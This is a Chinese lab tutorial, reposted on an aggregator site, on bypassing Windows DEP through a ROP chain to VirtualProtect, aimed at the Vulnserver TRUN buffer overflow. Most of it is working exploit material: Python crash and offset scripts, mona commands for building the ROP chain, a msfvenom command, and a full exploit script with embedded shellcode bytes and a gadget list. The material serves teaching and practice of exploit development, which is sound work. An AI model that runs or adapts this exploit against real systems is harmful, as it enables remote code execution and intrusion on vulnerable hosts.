概述
利用Ret2Libc绕过DEP之VirtualProtect函数
⑴. 原理分析:
i.相关概念:
VirtualProtect()函数:
BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress, //目标地址的起始位置
_In_ SIZE_T dwSize, //区域大小
_In_ DWORD flNewProtect, //新的保护属性,设置为(0x40)市该内存页为可写可读可执行。
_Out_ PDWORD lpflOldProtect //指向一个可写地址,用于保存原有保护属性
);
所以如果将VirtualProtect()函数的参数设置成如下格式:
BOOL WINAPI VirtualProtect(
_In_ LPVOID shellcode所在内存地址的起始地址,
_In_ SIZE_T shellcode大小
_In_ DWORD 0x40
_Out_ PDWORD 某个可写的地址
);
就可以实现关闭DEP保护机制,执行payload的目的。
实际上,进入函数VirtualProtect()之后函数首先进行了正常的堆栈调整,之后便连续压入了五个参数,然后调用了函数VirtualProtectEx(),因此我们推测函数VirtualProtectEx()才是真正改变内存属性的函数。该函数原型如下:
| BOOL VirtualProtectEx( HANDLE hProcess, // 要修改内存的进程句柄 LPVOID lpAddress, // 要修改内存的起始地址 DWORD dwSize, // 页区域大小 DWORD flNewProtect, // 新访问方式 PDWORD lpflOldProtect // 原访问方式 用于保存改变前的保护属性 ); |
VirtualProtect()函数中连续五个push指令其实是在向函数VitualProtectEx()传递参数;而根据函数参数从右到左的入栈顺序我们可以知道五个push指令依次压入的参数分别为lpflOldProtect、flNewProtect、dwSize、lpAddress以及hProcess,其中参数hProcess为默认值0xFFFFFFFF,代表当前线程的伪句柄。
⑵.环境准备:
i.实验代码:
存在漏洞的web服务器:
http://sites.google.com/site/lupingreycorner/vulnserver.zip
ii.实验环境:
靶机:windows 7
系统开启DEP保护机制。
攻击机:kali linux 1.0
调试器:Immunity Debugger
⑶.测试分析:
i.控制EIP
编写python脚本验证漏洞,控制EIP:
#!/usr/bin/python
import socket
server = '靶机IP'
sport = 9999
length = int(raw_input('Length of shellcode: '))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending shellcode length ", length, ' to TRUN .'
shellcode = 'A' * length
s.send(('TRUN .' + shellcode + 'rn'))
print s.recv(1024)
s.send('EXITrn')
print s.recv(1024)
s.close()
执行脚本,
靶机效果:
漏洞服务器崩溃。
在Immunity Debugger中attach崩溃了的进程可以看到:
EIP被覆盖。
ii.确定偏移:
在Immunity Debugger使用脚本mona.py,执行命令:!mona pc 3000(3000个字节长度其实就可以让程序崩溃了)。
可以得到测试偏移的文件pattern.txt。
将ASCII码这一部分当做shellcode发送给服务器。
测试代码如下:
#!/usr/bin/python
import socket
server = '靶机IP'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending shellcode length ", length, ' to TRUN .'
shellcode = ’ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9’
s.send(('TRUN .' + shellcode + 'rn'))
print s.recv(1024)
s.send('EXITrn')
print s.recv(1024)
s.close()
在靶机中的Immunity Debugger中查看测试结果,如下图:
可以看到EIP被覆盖为0x396f4338
在命令行输入!mona po 396f4338确定偏移,得到结果如下:
EIP位于2006字节处。
所以我们只要将关闭DEP的代码放置在shellcode的2006字节处就可以关闭DEP保护机制,之后再执行payload就可以啦。
⑷.攻击过程:
i.使用mona脚本生成rop链;
输入命令:!mona rop -m *.dll -cp nonull得到rop链
生成的rop建议文件位于rop_chain.txt。
ii.生成payload:
直接在kali命令行下执行
msfvenom -p windows/exec cmd=calc -b 'x00' -f c
生成216字节的payload
iii.构建shellcode
根据iii的分析,我们可以得到shellcode的结构如下:
填充物2006字节 | 通过VirtualProtect函数绕过DEP | Payload |
构建攻击脚本:
#!/usr/bin/python
import socket
import struct
import sys
server = '192.168.0.108'
sport = 9999
eip = 'xafx11x50x62'
nopsled = "x90"*16
payload = ""
payload += "xdbxdfxbfx9bx78x16x5axd9x74x24xf4x58x31xc9xb1"
payload += "x30x83xe8xfcx31x78x14x03x78x8fx9axe3xa6x47xd8"
payload += "x0cx57x97xbdx85xb2xa6xfdxf2xb7x98xcdx71x95x14"
payload += "xa5xd4x0exafxcbxf0x21x18x61x27x0fx99xdax1bx0e"
payload += "x19x21x48xf0x20xeax9dxf1x65x17x6fxa3x3ex53xc2"
payload += "x54x4bx29xdfxdfx07xbfx67x03xdfxbex46x92x54x99"
payload += "x48x14xb9x91xc0x0exdex9cx9bxa5x14x6ax1ax6cx65"
payload += "x93xb1x51x4ax66xcbx96x6cx99xbexeex8fx24xb9x34"
payload += "xf2xf2x4cxafx54x70xf6x0bx65x55x61xdfx69x12xe5"
payload += "x87x6dxa5x2axbcx89x2excdx13x18x74xeaxb7x41x2e"
payload += "x93xeex2fx81xacxf1x90x7ex09x79x3cx6ax20x20x2a"
payload += "x6dxb6x5ex18x6dxc8x60x0cx06xf9xebxc3x51x06x3e"
payload += "xa0xaex4cx63x80x26x09xf1x91x2axaax2fxd5x52x29"
payload += "xdaxa5xa0x31xafxa0xedxf5x43xd8x7ex90x63x4fx7e"
payload += "xb1x07x0execx59xc8"
perfix = 'a'*2006
def create_rop_chain():
rop_gadgets = [
0x76b81cf2, # POP EAX # RETN [msvcrt.dll]
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x7573e960, # MOV EAX,DWORD PTR DS:[EAX] # RETN [KERNELBASE.dll]
0x775091a9, # XCHG EAX,ESI # ADD AL,0 # RETN 0x04 [ntdll.dll]
0x7756c2f9, # POP EBP # RETN [ntdll.dll]
0x41414141, # Filler (RETN offset compensation)
0x625011af, # & jmp esp [essfunc.dll]
0x76b8a837, # POP EAX # RETN [msvcrt.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x7707c52a, # NEG EAX # RETN [RPCRT4.dll]
0x76a6b699, # XCHG EAX,EBX # RETN [GDI32.dll]
0x776ff07c, # POP EAX # RETN [MSCTF.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x77682fd0, # NEG EAX # RETN [MSCTF.dll]
0x76b9ad98, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x75024f1f, # POP ECX # RETN [mswsock.dll]
0x774f780d, # &Writable location [LPK.dll]
0x76b80a21, # POP EDI # RETN [msvcrt.dll]
0x770114a5, # RETN (ROP NOP) [RPCRT4.dll]
0x770738b4, # POP EAX # RETN [RPCRT4.dll]
0x90909090, # nop
0x76ff5fcf, # PUSHAD # RETN [RPCRT4.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
shellcode = perfix+rop_chain+nopsled+payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending shellcode to TRUN . with length ", len(shellcode)
s.send(('TRUN .' + shellcode + 'rn'))
print s.recv(1024)
s.send('EXITrn')
print s.recv(1024)
s.close()
其中rop链的部分可以直接由rop_chain文件中的建议函数得到。
iv.执行攻击:
成功弹框。
v.拓展之rop链的思路
该ROP链主要由7个pop/retn指令序列以及1个pushad/retn指令序列构成;这里我们需要先了解一下pushad指令的作用,该指令会依次将8个32位寄存器的值压入栈中,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI;而前面的7个pop指令,则分别是在给各个寄存器赋值。7个pop/retn指令执行完后各个寄存器的值如下图所示:
此时程序开始执行pushad指令将八个寄存器的值压入栈中,pushad指令执行完后栈中情况如下图所示:
如上图所示,该ROP链可以正确的将VirtualProtectEx()所需要的参数布局在栈中,因此该函数执行完后我们shellcode所在的内存页的保护属性便可以被成功修改。接下来,我们要做的便是跳转到shellcode。通过前面的分析我们已经知道VirtualProtectEx()函数返回后esp的值被调整为ebp的值,之后的一个pop ebp指令使得esp+4指向了上图中pop ebp/retn指令执行后,程序返回到esp+8所指向的地址执行,而之前VirtualProtect()函数返回时执行了retn 10h,因此此时的esp=esp+18h。而这个地址存放的正是ROP链中的最后四个字节”push esp/retn”,push esp将当前的esp值压入栈中,retn后该值被赋给指令寄存器eip,程序得以继续向下执行也就是我们的payload。
最后,如果只开启编译器的/NXCompat选项,而操作系统端选择“仅为基本的Windows程序和服务启用DEP”,则mona生成的ROP链不可用,经调试发现该ROP链中VirtualProtect()函数定位有误,修改后即可。
转载于:https://www.cnblogs.com/zhang293/p/9037459.html
最后
以上就是复杂口红为你收集整理的内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数的全部内容,希望文章能够帮你解决内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复